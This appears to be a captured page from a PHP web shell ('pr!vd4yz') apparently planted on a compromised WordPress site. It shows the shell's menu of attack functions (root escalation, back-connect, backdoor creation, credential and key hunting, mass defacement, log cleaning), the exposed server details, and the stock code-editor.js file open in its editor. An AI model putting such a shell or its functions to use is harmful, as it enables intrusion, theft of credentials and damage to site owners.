pr!vd4yz
/sh3ll
t.me/privdayz
./cmd@pr1v
cmd
generate cgi/perl
all d0mains
p4sswd (users)
syml1nk
syml1nk esc4per
m4ss c0nfig gr4pper
c0nfig search3r
safem0d k1ll3r
sql manager
cpanel email reset
cpanel loot
wp auto hunter & admin reset
wp create admin
linux auto r00t
windows ultra admin creat0r bypass
chroot/jailbreak escaper
bc0nn3ct
kernel expl0it
r00t escalate
m4ss d3face
backd00r scanner
backd00r creat0r
z1p/unz1p
r3m0t3 upload
h4sh generat0r
d1s4bled funcs
php1nfo
pr0cess l1st
netst4t
d1sk
cronj0b list
ma1ler
htaccess byp4ss
d0wn adminer
l0g cle4n
ap1 k3y sc4n
ssh k3y f1nder
w4f d3t
http r3q
f1le search
file lock/unlock
/
home
/
hosting
/
livingriver.eu
/
wp-admin
/
js
/
Linux fastweb 6.10.3 #1 SMP PREEMPT_DYNAMIC Wed Aug 7 16:20:40 WEST 2024 x86_64
[safe mode]
OFF
[d1s4bl3 f7nct1ons]
pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signalsescapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system, phpinfo
[h0st]
Linux fastweb 6.10.3 #1 SMP PREEMPT_DYNAMIC Wed Aug 7 16:20:40 WEST 2024 x86_64
[us3r]
[s0ftware]
Apache/2.4.62 (Debian)
[1p]
185.99.235.85
[php]
7.4.26
CURL : ON
SSH2 : OFF
Magic Quotes : OFF
MySQL : ON
MSSQL : OFF
PostgreSQL : ON
Oracle : OFF
CGI : OFF
newFolder
newFile
upFile
up
upFile2
up
engine
dr-xr-xr-x
sso
dr-xr-xr-x
widgets
drwxr-xr-x
accordion.js
JS
-rw-r--r--
2.87
KB
accordion.min.js
JS
-rw-r--r--
849
B
application-passwords.js
JS
-rw-r--r--
6.24
KB
application-passwords.min.js
JS
-rw-r--r--
2.95
KB
auth-app.js
JS
-rw-r--r--
5.66
KB
auth-app.min.js
JS
-rw-r--r--
2.04
KB
code-editor.js
JS
-rw-r--r--
11.32
KB
code-editor.min.js
JS
-rw-r--r--
3.01
KB
color-picker.js
JS
-rw-r--r--
9.54
KB
color-picker.min.js
JS
-rw-r--r--
3.4
KB
comment.js
JS
-rw-r--r--
2.85
KB
comment.min.js
JS
-rw-r--r--
1.28
KB
common.js
JS
-rw-r--r--
58.63
KB
common.min.js
JS
-rw-r--r--
21.93
KB
custom-background.js
JS
-rw-r--r--
3.35
KB
custom-background.min.js
JS
-rw-r--r--
1.18
KB
custom-header.js
JS
-rw-r--r--
1.98
KB
customize-controls.js
JS
-rw-r--r--
286.52
KB
customize-controls.min.js
JS
-rw-r--r--
109.03
KB
customize-nav-menus.js
JS
-rw-r--r--
109.9
KB
customize-nav-menus.min.js
JS
-rw-r--r--
46.23
KB
customize-widgets.js
JS
-rw-r--r--
70.05
KB
customize-widgets.min.js
JS
-rw-r--r--
27.41
KB
dashboard.js
JS
-rw-r--r--
26.92
KB
dashboard.min.js
JS
-rw-r--r--
8.59
KB
edit-comments.js
JS
-rw-r--r--
36.65
KB
edit-comments.min.js
JS
-rw-r--r--
14.99
KB
editor-expand.js
JS
-rw-r--r--
41.61
KB
editor-expand.min.js
JS
-rw-r--r--
13.14
KB
editor.js
JS
-rw-r--r--
44.25
KB
editor.min.js
JS
-rw-r--r--
12.87
KB
farbtastic.js
JS
-rw-r--r--
7.67
KB
gallery.js
JS
-rw-r--r--
5.41
KB
gallery.min.js
JS
-rw-r--r--
3.65
KB
image-edit.js
JS
-rw-r--r--
38.21
KB
image-edit.min.js
JS
-rw-r--r--
14.3
KB
inline-edit-post.js
JS
-rw-r--r--
19.8
KB
inline-edit-post.min.js
JS
-rw-r--r--
9.27
KB
inline-edit-tax.js
JS
-rw-r--r--
7.61
KB
inline-edit-tax.min.js
JS
-rw-r--r--
2.93
KB
iris.min.js
JS
-rw-r--r--
23.09
KB
language-chooser.js
JS
-rw-r--r--
890
B
language-chooser.min.js
JS
-rw-r--r--
423
B
link.js
JS
-rw-r--r--
3.89
KB
link.min.js
JS
-rw-r--r--
1.7
KB
media-gallery.js
JS
-rw-r--r--
1.27
KB
media-gallery.min.js
JS
-rw-r--r--
611
B
media-upload.js
JS
-rw-r--r--
3.38
KB
media-upload.min.js
JS
-rw-r--r--
1.13
KB
media.js
JS
-rw-r--r--
6.26
KB
media.min.js
JS
-rw-r--r--
2.34
KB
nav-menu.js
JS
-rw-r--r--
51.02
KB
nav-menu.min.js
JS
-rw-r--r--
25.77
KB
password-strength-meter.js
JS
-rw-r--r--
4.14
KB
password-strength-meter.min.js
JS
-rw-r--r--
1.1
KB
password-toggle.js
JS
-rw-r--r--
1.31
KB
password-toggle.min.js
JS
-rw-r--r--
847
B
plugin-install.js
JS
-rw-r--r--
6.92
KB
plugin-install.min.js
JS
-rw-r--r--
2.35
KB
post.js
JS
-rw-r--r--
39.08
KB
post.min.js
JS
-rw-r--r--
18.59
KB
postbox.js
JS
-rw-r--r--
18.4
KB
postbox.min.js
JS
-rw-r--r--
6.55
KB
privacy-tools.js
JS
-rw-r--r--
10.67
KB
privacy-tools.min.js
JS
-rw-r--r--
5.03
KB
revisions.js
JS
-rw-r--r--
33.13
KB
revisions.min.js
JS
-rw-r--r--
17.45
KB
set-post-thumbnail.js
JS
-rw-r--r--
876
B
set-post-thumbnail.min.js
JS
-rw-r--r--
620
B
site-health.js
JS
-rw-r--r--
13.15
KB
site-health.min.js
JS
-rw-r--r--
6.13
KB
site-icon.js
JS
-rw-r--r--
5.91
KB
site-icon.min.js
JS
-rw-r--r--
2.12
KB
svg-painter.js
JS
-rw-r--r--
5.39
KB
svg-painter.min.js
JS
-rw-r--r--
2.33
KB
tags-box.js
JS
-rw-r--r--
10.88
KB
tags-box.min.js
JS
-rw-r--r--
3
KB
tags-suggest.js
JS
-rw-r--r--
5.64
KB
tags-suggest.min.js
JS
-rw-r--r--
2.22
KB
tags.js
JS
-rw-r--r--
4.77
KB
tags.min.js
JS
-rw-r--r--
1.96
KB
theme-plugin-editor.js
JS
-rw-r--r--
24.79
KB
theme-plugin-editor.min.js
JS
-rw-r--r--
11.46
KB
theme.js
JS
-rw-r--r--
54.65
KB
theme.min.js
JS
-rw-r--r--
26.4
KB
updates.js
JS
-rw-r--r--
108.36
KB
updates.min.js
JS
-rw-r--r--
47.1
KB
user-profile.js
JS
-rw-r--r--
14.2
KB
user-profile.min.js
JS
-rw-r--r--
6.35
KB
user-suggest.js
JS
-rw-r--r--
2.25
KB
user-suggest.min.js
JS
-rw-r--r--
676
B
widgets.js
JS
-rw-r--r--
22.56
KB
widgets.min.js
JS
-rw-r--r--
12.31
KB
word-count.js
JS
-rw-r--r--
7.52
KB
word-count.min.js
JS
-rw-r--r--
1.49
KB
xfn.js
JS
-rw-r--r--
740
B
xfn.min.js
JS
-rw-r--r--
458
B
delete
unzip
zip
run
file edit
code-editor.js
×
/** * @output wp-admin/js/code-editor.js */ if ( 'undefined' === typeof window.wp ) { /** * @namespace wp */ window.wp = {}; } if ( 'undefined' === typeof window.wp.codeEditor ) { /** * @namespace wp.codeEditor */ window.wp.codeEditor = {}; } ( function( $, wp ) { 'use strict'; /** * Default settings for code editor. * * @since 4.9.0 * @type {object} */ wp.codeEditor.defaultSettings = { codemirror: {}, csslint: {}, htmlhint: {}, jshint: {}, onTabNext: function() {}, onTabPrevious: function() {}, onChangeLintingErrors: function() {}, onUpdateErrorNotice: function() {} }; /** * Configure linting. * * @param {CodeMirror} editor - Editor. * @param {Object} settings - Code editor settings. * @param {Object} settings.codeMirror - Settings for CodeMirror. * @param {Function} settings.onChangeLintingErrors - Callback for when there are changes to linting errors. * @param {Function} settings.onUpdateErrorNotice - Callback to update error notice. * * @return {void} */ function configureLinting( editor, settings ) { // eslint-disable-line complexity var currentErrorAnnotations = [], previouslyShownErrorAnnotations = []; /** * Call the onUpdateErrorNotice if there are new errors to show. * * @return {void} */ function updateErrorNotice() { if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) { settings.onUpdateErrorNotice( currentErrorAnnotations, editor ); previouslyShownErrorAnnotations = currentErrorAnnotations; } } /** * Get lint options. * * @return {Object} Lint options. */ function getLintOptions() { // eslint-disable-line complexity var options = editor.getOption( 'lint' ); if ( ! options ) { return false; } if ( true === options ) { options = {}; } else if ( _.isObject( options ) ) { options = $.extend( {}, options ); } /* * Note that rules must be sent in the "deprecated" lint.options property * to prevent linter from complaining about unrecognized options. * See <https://github.com/codemirror/CodeMirror/pull/4944>. */ if ( ! options.options ) { options.options = {}; } // Configure JSHint. if ( 'javascript' === settings.codemirror.mode && settings.jshint ) { $.extend( options.options, settings.jshint ); } // Configure CSSLint. if ( 'css' === settings.codemirror.mode && settings.csslint ) { $.extend( options.options, settings.csslint ); } // Configure HTMLHint. if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) { options.options.rules = $.extend( {}, settings.htmlhint ); if ( settings.jshint ) { options.options.rules.jshint = settings.jshint; } if ( settings.csslint ) { options.options.rules.csslint = settings.csslint; } } // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice. options.onUpdateLinting = (function( onUpdateLintingOverridden ) { return function( annotations, annotationsSorted, cm ) { var errorAnnotations = _.filter( annotations, function( annotation ) { return 'error' === annotation.severity; } ); if ( onUpdateLintingOverridden ) { onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm ); } // Skip if there are no changes to the errors. if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) { return; } currentErrorAnnotations = errorAnnotations; if ( settings.onChangeLintingErrors ) { settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm ); } /* * Update notifications when the editor is not focused to prevent error message * from overwhelming the user during input, unless there are now no errors or there * were previously errors shown. In these cases, update immediately so they can know * that they fixed the errors. */ if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) { updateErrorNotice(); } }; })( options.onUpdateLinting ); return options; } editor.setOption( 'lint', getLintOptions() ); // Keep lint options populated. editor.on( 'optionChange', function( cm, option ) { var options, gutters, gutterName = 'CodeMirror-lint-markers'; if ( 'lint' !== option ) { return; } gutters = editor.getOption( 'gutters' ) || []; options = editor.getOption( 'lint' ); if ( true === options ) { if ( ! _.contains( gutters, gutterName ) ) { editor.setOption( 'gutters', [ gutterName ].concat( gutters ) ); } editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options. } else if ( ! options ) { editor.setOption( 'gutters', _.without( gutters, gutterName ) ); } // Force update on error notice to show or hide. if ( editor.getOption( 'lint' ) ) { editor.performLint(); } else { currentErrorAnnotations = []; updateErrorNotice(); } } ); // Update error notice when leaving the editor. editor.on( 'blur', updateErrorNotice ); // Work around hint selection with mouse causing focus to leave editor. editor.on( 'startCompletion', function() { editor.off( 'blur', updateErrorNotice ); } ); editor.on( 'endCompletion', function() { var editorRefocusWait = 500; editor.on( 'blur', updateErrorNotice ); // Wait for editor to possibly get re-focused after selection. _.delay( function() { if ( ! editor.state.focused ) { updateErrorNotice(); } }, editorRefocusWait ); }); /* * Make sure setting validities are set if the user tries to click Publish * while an autocomplete dropdown is still open. The Customizer will block * saving when a setting has an error notifications on it. This is only * necessary for mouse interactions because keyboards will have already * blurred the field and cause onUpdateErrorNotice to have already been * called. */ $( document.body ).on( 'mousedown', function( event ) { if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) { updateErrorNotice(); } }); } /** * Configure tabbing. * * @param {CodeMirror} codemirror - Editor. * @param {Object} settings - Code editor settings. * @param {Object} settings.codeMirror - Settings for CodeMirror. * @param {Function} settings.onTabNext - Callback to handle tabbing to the next tabbable element. * @param {Function} settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element. * * @return {void} */ function configureTabbing( codemirror, settings ) { var $textarea = $( codemirror.getTextArea() ); codemirror.on( 'blur', function() { $textarea.data( 'next-tab-blurs', false ); }); codemirror.on( 'keydown', function onKeydown( editor, event ) { var tabKeyCode = 9, escKeyCode = 27; // Take note of the ESC keypress so that the next TAB can focus outside the editor. if ( escKeyCode === event.keyCode ) { $textarea.data( 'next-tab-blurs', true ); return; } // Short-circuit if tab key is not being pressed or the tab key press should move focus. if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) { return; } // Focus on previous or next focusable item. if ( event.shiftKey ) { settings.onTabPrevious( codemirror, event ); } else { settings.onTabNext( codemirror, event ); } // Reset tab state. $textarea.data( 'next-tab-blurs', false ); // Prevent tab character from being added. event.preventDefault(); }); } /** * @typedef {object} wp.codeEditor~CodeEditorInstance * @property {object} settings - The code editor settings. * @property {CodeMirror} codemirror - The CodeMirror instance. */ /** * Initialize Code Editor (CodeMirror) for an existing textarea. * * @since 4.9.0 * * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor. * @param {Object} [settings] - Settings to override defaults. * @param {Function} [settings.onChangeLintingErrors] - Callback for when the linting errors have changed. * @param {Function} [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed. * @param {Function} [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element. * @param {Function} [settings.onTabNext] - Callback to handle tabbing to the next tabbable element. * @param {Object} [settings.codemirror] - Options for CodeMirror. * @param {Object} [settings.csslint] - Rules for CSSLint. * @param {Object} [settings.htmlhint] - Rules for HTMLHint. * @param {Object} [settings.jshint] - Rules for JSHint. * * @return {CodeEditorInstance} Instance. */ wp.codeEditor.initialize = function initialize( textarea, settings ) { var $textarea, codemirror, instanceSettings, instance; if ( 'string' === typeof textarea ) { $textarea = $( '#' + textarea ); } else { $textarea = $( textarea ); } instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings ); instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror ); codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ); configureLinting( codemirror, instanceSettings ); instance = { settings: instanceSettings, codemirror: codemirror }; if ( codemirror.showHint ) { codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token; if ( codemirror.state.completionActive && isAlphaKey ) { return; } // Prevent autocompletion in string literals or comments. token = codemirror.getTokenAt( codemirror.getCursor() ); if ( 'string' === token.type || 'comment' === token.type ) { return; } innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name; lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch ); if ( 'html' === innerMode || 'xml' === innerMode ) { shouldAutocomplete = '<' === event.key || '/' === event.key && 'tag' === token.type || isAlphaKey && 'tag' === token.type || isAlphaKey && 'attribute' === token.type || '=' === token.string && token.state.htmlState && token.state.htmlState.tagName; } else if ( 'css' === innerMode ) { shouldAutocomplete = isAlphaKey || ':' === event.key || ' ' === event.key && /:\s+$/.test( lineBeforeCursor ); } else if ( 'javascript' === innerMode ) { shouldAutocomplete = isAlphaKey || '.' === event.key; } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) { shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type; } if ( shouldAutocomplete ) { codemirror.showHint( { completeSingle: false } ); } }); } // Facilitate tabbing out of the editor. configureTabbing( codemirror, settings ); return instance; }; })( window.jQuery, window.wp );
Save
Close
Ln 1, Col 1